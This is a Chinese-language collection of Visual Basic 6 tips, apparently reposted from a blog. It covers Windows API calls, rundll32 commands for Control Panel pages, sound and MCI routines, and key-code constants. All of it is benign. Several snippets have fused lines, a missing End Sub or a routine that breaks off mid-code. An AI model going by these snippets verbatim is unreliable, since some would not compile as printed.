Function但是我们还能进一步地对代码进行优化，方法就是使用可被所有StdFont对象识别的隐藏IFont接口。这个接口具有一个Clone方法，用它就可以精确地实现我们的目的。它以非正常方式执行：创建一个克隆Font对象，然后返回相应的引用。这可能是实现克隆目的的最简洁代码了，而且，执行速度也是这里列举的3种方法中最快的一个，要比使用PropertyBag对象的方法快大约3倍左右。来看看具体代码：Function CloneFont(Font As IFont) As StdFontFont.Clone CloneFontEnd Function--------------------------------------------------------------------------------
API程序源代码（多种功能）
＇ 本人收集了一些技巧供大家参考，希望斑竹能多放一些时间。
＇------------------------------------------------------------
＇按字母或数字顺序排列列表框中的列表项.
＇将以下代码加入到你的程序中.
Sub ReSort(L As Control)
Dim P%, PP%, c%, Pre$, s$, V&, NewPos%, CheckIt%
Dim TempL$, TempItemData&, S1$
For P = 0 To L.ListCount - 1
s = L.List(P)
For c = 1 To Len(s)
V = Val(Mid$(s, c))
If V > 0 Then Exit For
Next
If V > 0 Then
If c > 1 Then Pre = Left$(s, c - 1)
NewPos = -1
For PP = P + 1 To L.ListCount - 1
CheckIt = False
S1 = L.List(PP)
If Pre <> "" Then
If InStr(S1, Pre) = 1 Then CheckIt = True
Else
If Val(S1) > 0 Then CheckIt = True
End If
If CheckIt Then
If Val(Mid$(S1, c)) < V Then NewPos = PP
Else
Exit For
End If
Next
If NewPos > -1 Then
TempL = L.List(P)
TempItemData = L.ItemData(P)
L.RemoveItem (P)
L.AddItem TempL, NewPos
L.ItemData(L.NewIndex) = TempItemData
P = P - 1
End If
End If
Next
Exit Sub
＇---------------------------------------------------
＇Tag属性的妙用.
＇在VB编程中,我们经常要动态的控制很多不同控件的属性,例如我们要将一个CommandButton阵列共20各控件中的第1、4、6、7、8、11、18、20号删除。该怎么半呢？这时只要将要删除的控件的Tag属性设置为1，然后加入以下代码就可以了。
For i = 1 To 20
If command1(i).Tag = 1 Then
Unload command1(i)
End If
Next i
＇-----------------------------------------------------
＇利用VB产生屏幕变暗的效果.
＇想利用VB编程实现屏幕变暗的效果（向关闭Win95时的效果），只要按下面的步骤来做
＇1、在FORM1中加入两个CommandButton和一个PictureBox.
＇2 Print 在FORM1的代码窗口中添加以下代码:
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Declare Function CreatePatternBrush Lib "gdi32" (ByVal hBitmap As Long) As Long
Private Declare Function PatBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function CreateBitmap Lib "gdi32" (ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Long, ByVal nBitCount As Long, lpBits As Any) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function InvalidateRect Lib "user32" (ByVal hwnd As Long, ByVal lpRect As Long, ByVal bErase As Long) As Long
Private bybits(1 To 16) As Byte
Private hBitmap As Long, hBrush As Long
Private hDesktopWnd As Long
Private Sub Command1_Click()
Dim rop As Long, res As Long
Dim hdc5 As Long, width5 As Long, height5 As Long
hdc5 = GetDC(0)
width5 = Screen.Width \ Screen.TwipsPerPixelX
height5 = Screen.Height \ Screen.TwipsPerPixelY
rop = &HA000C9
Call SelectObject(hdc5, hBrush)
res = PatBlt(hdc5, 0, 0, width5, height5, rop)
Call DeleteObject(hBrush)
res = ReleaseDC(0, hdc5)
End Sub
Private Sub Command2_Click()
Dim aa As Longaa = InvalidateRect(0, 0, 1)
End Sub
Private Sub FORM_Load()
Dim ary
Dim i As Long
ary = Array(&H55, &H0, &HAA, &H0, _
&H55, &H0, &HAA, &H0, _
&H55, &H0, &HAA, &H0, _
&H55, &H0, &HAA, &H0)
For i = 1 To 16
bybits(i) = ary(i - 1)
Next i
hBitmap = CreateBitmap(8, 8, 1, 1, bybits(1))
hBrush = CreatePatternBrush(hBitmap)
Picture1.ForeColor = RGB(0, 0, 0)
Picture1.BackColor = RGB(255, 255, 255)
Picture1.ScaleMode = 3
End Sub
＇运行程序，按Command1就可以使屏幕暗下来，按Command2恢复。
＇--------------------------------------------------
＇使两个列表框(ListBox)的选项同步步骤1
＇在FORM中添加两个ListBox和一个CommandButton一个Timer,不要改动他们的属性.
步骤2
在FORM中添加如下代码:
Private Sub FORM_Load()
Dim x As Integer
For x = 1 To 26
list1.AddItem Chr$(x + 64)
Next x
For x = 1 To 26
List2.AddItem Chr$(x + 64)
Next x
Timer1.INTERVAL = 1
Timer1.Enabled = True
End Sub
Private Sub Command1_Click()
End
End Sub
Private Sub Timer1_Timer()
Static PrevList1
Dim TopIndex_List1 As Integer
TopIndex_List1 = list1.TopIndex
If TopIndex_List1 <> PrevList1 Then
List2.TopIndex = TopIndex_List1
PrevList1 = TopIndex_List1
End If
If list1.ListIndex <> List2.ListIndex Then
List2.ListIndex = list1.ListIndex
End If
End Sub
＇运行程序,当选中其中一个列表框中的某一项后,另外一个列表框中的相应项就会被选中.
＇-------------------------------------------------
＇获得Win9X下文件的短文件名(8.3文件名)
＇步骤一 在FORM中加入一个FileListBox,一个DirListBox,一个Label.
＇步骤二 在FORM中加入以下代码:
＇Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal
＇lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Sub Dir1_Change()
File1 = dir1.path
End Sub
Private Sub Drive1_Change()
dir1 = drive1
End Sub
Private Sub File1_Click()
Label1.Caption = GetShortFileName(dir1 & "\" & File1)
End Sub
Public Function GetShortFileName(ByVal FileName As String) As String
＇converts a long file and path name to old DOS FORMat
＇PARAMETERS
＇ FileName = the path or filename to convert
＇RETURNS
＇ String = the DOS compatible name for that particular FileName
Dim rc As Long
Dim ShortPath As String
Const PATH_LEN& = 164
＇get the short filename
ShortPath = String$(PATH_LEN + 1, 0)
rc = GetShortPathName(FileName, ShortPath, PATH_LEN)
GetShortFileName = Left$(ShortPath, rc)
End Function
＇---------------------------------------------------------------------
使指定窗口总处于其他窗口之上
＇将以下代码加入到FORM中,这个FORM就成为一个在其他所有窗口之上的窗口了.
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Private Sub FORM_Load()
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX _
, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, _
Me.Height \ Screen.TwipsPerPixelY, 0
End Sub
＇--------------------------------------------------
获得位图文件的信息
在FORM中添加一个Picture控件和一个CommandButton控件 , 在Picture控件中加入一个位图文件, 将下面代码加入其中:
Private Declare Function GetObject Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Type BITMAP
bmType As Long
bmWidth As Long
bmHeight As Long
bmWidthBytes As Long
bmPlanes As Integer
bmBitsPixel As Integer
bmBits As Long
End Type
Private Sub Command1_Click()
Dim hBitmap As Long
Dim res As Long
Dim bmp As BITMAP
Dim byteAry() As Byte
Dim totbyte As Long, i As Long
hBitmap = Picture1.Picture.Handle
res = GetObject(hBitmap, Len(bmp), bmp) ＇取得BITMAP的结构
totbyte = bmp.bmWidthBytes * bmp.bmHeight ＇总共要多少BYTE来存图
ReDim byteAry(totbyte - 1)
＇将Picture1中的图信息存到ByteAry
res = GetBitmapBits(hBitmap, totbyte, byteAry(0))
Debug.Print "Total Bytes Copied :"; res
Debug.Print "bmp.bmBits "; bmp.bmBits
Debug.Print "bmp.bmBitsPixel "; bmp.bmBitsPixel ＇每相素位数
Debug.Print "bmp.bmHeight "; bmp.bmHeight ＇以相素计算图象高度
Debug.Print "bmp.bmPlanes "; bmp.bmPlanes
Debug.Print "bmp.bmType "; bmp.bmType
Debug.Print "bmp.bmWidth "; bmp.bmWidth ＇以相素计算图形宽度
Debug.Print "bmp.bmWidthBytes "; bmp.bmWidthBytes ＇以字节计算的每扫描线长度
End Sub
＇---------------------------------------------------
＇获得驱动器的卷标
＇在FORM中添加一个CommandButton控件 , 再加入一下一段代码:
Private Declare Function GetVolumeInFORMation Lib "kernel32" Alias "GetVolumeInFORMationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Const FILE_VOLUME_IS_COMPRESSED = &H8000
Public Sub GetVolInfo(ByVal path As String)
Dim aa As Long
Dim VolName As String
Dim fsysName As String
Dim VolSeri As Long, compress As Long
Dim Sysflag As Long, Maxlen As Long
＇初试化字符串的长度
VolName = String(255, 0)
fsysName = String(255, 0)
aa = GetVolumeInFORMation(path, VolName, 256, VolSeri, Maxlen, Sysflag, fsysName, 256)
VolName = Left(VolName, InStr(1, VolName, Chr(0)) - 1)
fsysName = Left(fsysName, InStr(1, fsysName, Chr(0)) - 1)
compress = Sysflag And FILE_VOLUME_IS_COMPRESSED
If compress = 0 Then
Me.Print "未压缩驱动器"
Else
Me.Print "压缩驱动器"
End If
Me.Print "驱动器卷标 :", VolName
Me.Print "驱动器标号 : ", Hex(VolSeri)
Me.Print "驱动器文件系统 (FAT, HPFS, or NTFS)", fsysName
Me.Print "支持的文件名长度", Maxlen
End Sub
Private Sub Command1_Click()
FORM1.Caption = "c:驱动器信息"
Call GetVolInfo("c:\")
End Sub
＇---------------------------------------------------
将包含有Null结尾的字符串转换为VB字符串
在VB编程调用Windows API函数时, 经常会碰到以Null结尾的字符串, 下面是一段将Null结尾字符串转换到VB字符串的函数:
Public Function LPSTRToVBString$(ByVal s$)
Dim nullpos&
nullpos& = InStr(s$, Chr$(0))
If nullpos > 0 Then
LPSTRToVBString = Left$(s$, nullpos - 1)
Else
LPSTRToVBString = ""
End If
End Function
＇---------------------------------------------------
启动控制面板命令
控制面板
模块: Control.Exe
命令: rundll32.Exe shell32.dll, Control_RunDLL
结果: 显示控制面板窗口?
例子:
Dim x
x = Shell("rundll32.exe shell32.dll,Control_RunDLL")
辅助选项
模块: access.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
＇结果： 显示辅助选项/常规。
＇命令： rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
＇结果： 显示辅助选项/键盘。
＇命令： rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
＇结果： 显示辅助选项/声音。
＇命令： rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
＇结果： 显示辅助选项/显示。
＇命令： rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
＇结果： 显示辅助选项/鼠标。
＇添加新硬件
＇模块: sysdm.cpl
＇命令：rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
＇增加新的打印机
＇模块: shell32.dll
＇命令：rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
＇添加/删除程序
＇模块: appwiz.cpl
＇命令：rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
＇结果：显示安装/卸载。
＇命令：rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
＇结果：显示安装/卸载。
＇命令：rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
＇结果: 显示Windows 安装?
＇命令：rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
＇结果: 显示启动盘?
＇复制磁盘
＇模块: diskcopy.dll
＇命令: rundll32.Exe diskcopy.dll, DiskCopyRunDll
＇时间/日期
＇模块: timedate.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
＇结果： 显示设置日期/时间。
＇命令： rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
＇结果: 显示设置时间区域?
＇拨号连接 (DUN)
＇模块: rnaui.dll
＇命令： rundll32.exe rnaui.dll,RnaDial 连接_名称
＇结果: 打开指定的拨号连接?
＇例子:
x = Shell("rundll32.exe rnaui.dll,RnaDial " & "连接_名称", 1)
＇显示器
＇模块: desk.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
＇结果: 背景设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
＇结果: 屏幕保护设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
＇结果: 外观设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
＇结果: 设置窗口?
＇操纵杆
＇模块: joy.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL joy.cpl
＇邮件/传真
＇模块: mlcfg32.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
＇结果： 出现 MS Exchange 属性设置。
＇邮局设置
＇模块: wgpocpl.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL wgpocpl.cpl
＇结果： 显示 MS Postoffice Workgroup Admin 设置。
＇主设置
＇模块: Main.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
＇结果: 显示鼠标属性?
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
＇结果： 显示键盘/速度属性。
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
＇结果： 显示键盘/语言属性。
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,2
＇结果： 显示键盘/常规属性。
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
＇结果: 显示打印机属性?
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
＇结果: 显示字体属性?
＇命令： rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
＇结果: 显示电源管理属性?
＇增加 modem
＇模块: modem.cpl
＇命令：rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
＇多媒体
＇模块: mmsys.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
＇结果: 声音?
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
＇结果: 视频?
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
＇结果: 声音 MIDI?
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
＇结果：CD/音乐。
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
＇结果: 高级?
＇命令： rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
＇结果: 声音?
＇网络
＇模块: netcpl.cpl
＇命令：rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
＇打开方式窗口(Open With)
＇模块: shell32.dll
＇命令：rundll32.exe shell32.dll,OpenAs_RunDLL path\filename
＇口令
＇模块: password.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL password.cpl
＇区域设置
＇模块: intl.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
＇结果: 区域设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
＇结果: 数字格式设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
＇结果: 金额格式设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
＇结果: 时间格式设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
＇结果: 日期格式设置?
＇屏幕保护
＇模块: appwiz.cpl
＇命令： rundll32.exe desk.cpl,InstallScreenSaver c:\win\system\Flying Windows.scr
＇结果: 安装屏幕保护并显示预览属性页?
＇系统设置
＇模块: sysdm.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
＇结果: 显示常规设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
＇结果: 显示设备管理设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
＇结果: 显示硬件设置?
＇命令： rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
＇结果: 显示性能设置?
＇IE4 设置
＇模块: inetcpl.cpl
＇命令： rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl--------------------------------------------------------------------------------
怎样检查声卡的存在
Declare Function auxGetNumDevs% Lib "MMSYSTEM" ()
＇ In the appropriate routine:
Dim i As Integer
i = auxGetNumDevs()
If i > 0 Then ＇ There is at least one sound card on the system
MsgBox "A Sound Card has been detected."
Else ＇ auxGetNumDevs returns a 0 if there is no sound card
MsgBox "There is no Sound Card on this system."
End If
＇---------------------------------------------------
如何用API及MMSYSTEM.DLL播放AVI文件
Declare Function mciSendString& Lib "MMSYSTEM" (ByVal pstrCommand$, ByVal lpstrReturnStr As Any, ByVal wReturnLen%, ByVal CallBack%)
＇Add this code to the appropriate event:
Dim CmdStr$
Dim ReturnVal&
＇ Modify path and filename as necessary
CmdStr$ = "play G:\VFW_CINE\AK1.AVI"
ReturnVal& = mciSendString(CmdStr$, 0&, 0, 0&)
＇ To play the AVI ＇fullscreen＇ append to CmdStr$:
CmdStr$ = "play G:\VFW_CINE\AK1.AVI fullscreen"
＇----------------------------------------------------
＇如何从"SOUND.DRV"中提取声音
Declare Function OpenSound% Lib "sound.drv" ()
Declare Function VoiceQueueSize% Lib "sound.drv" (ByVal nVoice%, ByVal nByteS)
Declare Function SetVoiceSound% Lib "sound.drv" (ByVal nSource%, ByVal Freq&, ByVal nDuration%)
Declare Function StartSound% Lib "sound.drv" ()
Declare Function CloseSound% Lib "sound.drv" ()
Declare Function WaitSoundState% Lib "sound.drv" (ByVal State%)
＇ Add this routine, to be used with SirenSound1 routine
Sub Sound(ByVal Freq As Long, ByVal Duration As Integer)
Dim s As Integer
＇ Shift frequency to high byte.
Freq = Freq * 2 ^ 16
s = SetVoiceSound(1, Freq, Duration)
s = StartSound()
While (WaitSoundState(1) <> 0): Wend
End Sub
＇ Here are the 4 sound routines:
＇* Attention Sound #1 *
Sub AttenSound1()
Dim Succ, s As Integer
Succ = OpenSound()
s = SetVoiceSound(1, 1500 * 2 ^ 16, 50)
s = SetVoiceSound(1, 1000 * 2 ^ 16, 50)
s = SetVoiceSound(1, 1500 * 2 ^ 16, 100)
s = SetVoiceSound(1, 1000 * 2 ^ 16, 100)
s = SetVoiceSound(1, 800 * 2 ^ 16, 40)
s = StartSound()
While (WaitSoundState(1) <> 0): Wend
Succ = CloseSound()
End Sub
＇* Click Sound #1 *
Sub ClickSound1()
Dim Succ, s As Integer
Succ = OpenSound()
s = SetVoiceSound(1, 200 * 2 ^ 16, 2)
s = StartSound()
While (WaitSoundState(1) <> 0): Wend
Succ = CloseSound()
End Sub
＇* Error Sound #1 *
Sub ErrorSound1()
Dim Succ, s As Integer
Succ = OpenSound()
s = SetVoiceSound(1, 200 * 2 ^ 16, 150)
s = SetVoiceSound(1, 100 * 2 ^ 16, 100)
s = SetVoiceSound(1, 80 * 2 ^ 16, 90)
s = StartSound()
While (WaitSoundState(1) <> 0): Wend
Succ = CloseSound()
End Sub
＇* SirenSound #1 *
Sub SirenSound1()
Dim Succ As Integer
Dim j As Long
Succ = OpenSound()
For j = 440 To 1000 Step 5
Call Sound(j, j / 100)
Next j
For j = 1000 To 440 Step -5
Call Sound(j, j / 100)
Next
本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/piglet_919/archive/2008/01/11/2036474.aspx vb代码:VB常用代码：打开快捷方式以及程序
SHELL "路径"
2：打开硬盘或文件
Shell "explorer F:\", vbNormalFocus
3：打开“我的电脑”“资源管理器”……
Shell "EXPLORER.EXE /n, /e, ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
4：打开网页
SHELL "explorer.exe http://hi.baidu.com/lixue86"
vbKeyLButton 0x1 鼠标左键
vbKeyRButton 0x2 鼠标右键
vbKeyCancel 0x3 CANCEL键
vbKeyMButton 0x4 鼠标中键
vbKeyBack 0x8 退格键
vbKeyTab 0x9 TAB 键
vbKeyClear 0xC CLEAR健
vbKeyReturn 0xD 回车键
vbKeyShift 0x10 SHIFT 键
vbKeyControl 0x11 CTRL 键
vbKeyMenu 0x12 MENU 键
vbKeyPause 0x13 PAUSE 键
vbKeyCapital 0x14 CAPS LOCK 键
可在代码中的任何地方用下列常数代替实际值：
常数 值 描述
vbKeyLButton 0x1 鼠标左键
vbKeyRButton 0x2 鼠标右键
vbKeyCancel 0x3 CANCEL 键
vbKeyMButton 0x4 鼠标中键
vbKeyBack 0x8 BACKSPACE 键
vbKeyTab 0x9 TAB 键
vbKeyClear 0xC CLEAR 键
vbKeyReturn 0xD ENTER 键
vbKeyShift 0x10 SHIFT 键
vbKeyControl 0x11 CTRL 键
vbKeyMenu 0x12 MENU 键
vbKeyPause 0x13 PAUSE 键
vbKeyCapital 0x14 CAPS LOCK 键
vbKeyEscape 0x1B ESC 键
vbKeySpace 0x20 SPACEBAR 键
vbKeyPageUp 0x21 PAGE UP 键
vbKeyPageDown 0x22 PAGE DOWN 键
vbKeyEnd 0x23 END 键
vbKeyHome 0x24 HOME 键
vbKeyLeft 0x25 LEFT ARROW 键
vbKeyUp 0x26 UP ARROW 键
vbKeyRight 0x27 RIGHT ARROW 键
vbKeyDown 0x28 DOWN ARROW 键
vbKeySelect 0x29 SELECT 键
vbKeyPrint 0x2A PRINT SCREEN 键
vbKeyExecute 0x2B EXECUTE 键
vbKeySnapshot 0x2C SNAPSHOT 键
vbKeyInsert 0x2D INSERT 键
vbKeyDelete 0x2E DELETE 键
vbKeyHelp 0x2F HELP 键
vbKeyNumlock 0x90 NUM LOCK 键
A 至 Z 键与 A – Z 字母的 ASCII 码相同：
常数 值 描述
vbKeyA 65 A 键
vbKeyB 66 B 键
vbKeyC 67 C 键
vbKeyD 68 D 键
vbKeyE 69 E 键
vbKeyF 70 F 键
vbKeyG 71 G 键
vbKeyH 72 H 键
vbKeyI 73 I 键
vbKeyJ 74 J 键
vbKeyK 75 K 键
vbKeyL 76 L 键
vbKeyM 77 M 键
vbKeyN 78 N 键
vbKeyO 79 O 键
vbKeyP 80 P 键
vbKeyQ 81 Q 键
vbKeyR 82 R 键
vbKeyS 83 S 键
vbKeyT 84 T 键
vbKeyU 85 U 键
vbKeyV 86 V 键
vbKeyW 87 W 键
vbKeyX 88 X 键
vbKeyY 89 Y 键
vbKeyZ 90 Z 键
0 至 9 键与数字 0 – 9 的 ASCII 码相同：
常数 值 描述
vbKey0 48 0 键
vbKey1 49 1 键
vbKey2 50 2 键
vbKey3 51 3 键
vbKey4 52 4 键
vbKey5 53 5 键
vbKey6 54 6 键
vbKey7 55 7 键
vbKey8 56 8 键
vbKey9 57 9 键
下列常数代表数字键盘上的键：
常数 值 描述
vbKeyNumpad0 0x60 0 键
vbKeyNumpad1 0x61 1 键
vbKeyNumpad2 0x62 2 键
vbKeyNumpad3 0x63 3 键
vbKeyNumpad4 0x64 4 键
vbKeyNumpad5 0x65 5 键
vbKeyNumpad6 0x66 6 键
vbKeyNumpad7 0x67 7 键
vbKeyNumpad8 0x68 8 键
vbKeyNumpad9 0x69 9 键
vbKeyMultiply 0x6A MULTIPLICATION SIGN (*) 键
vbKeyAdd 0x6B PLUS SIGN (+) 键
vbKeySeparator 0x6C ENTER 键
vbKeySubtract 0x6D MINUS SIGN (–) 键
vbKeyDecimal 0x6E DECIMAL POINT (.) 键
vbKeyDivide 0x6F DIVISION SIGN (/) 键
下列常数代表功能键：
常数 值 描述
vbKeyF1 0x70 F1 键
vbKeyF2 0x71 F2 键
vbKeyF3 0x72 F3 键
vbKeyF4 0x73 F4 键
vbKeyF5 0x74 F5 键
vbKeyF6 0x75 F6 键
vbKeyF7 0x76 F7 键
vbKeyF8 0x77 F8 键
vbKeyF9 0x78 F9 键
vbKeyF10 0x79 F10 键
vbKeyF11 0x7A F11 键
vbKeyF12 0x7B F12 键
vbKeyF13 0x7C F13 键
vbKeyF14 0x7D F14 键
vbKeyF15 0x7E F15 键
vbKeyF16 0x7F F16 键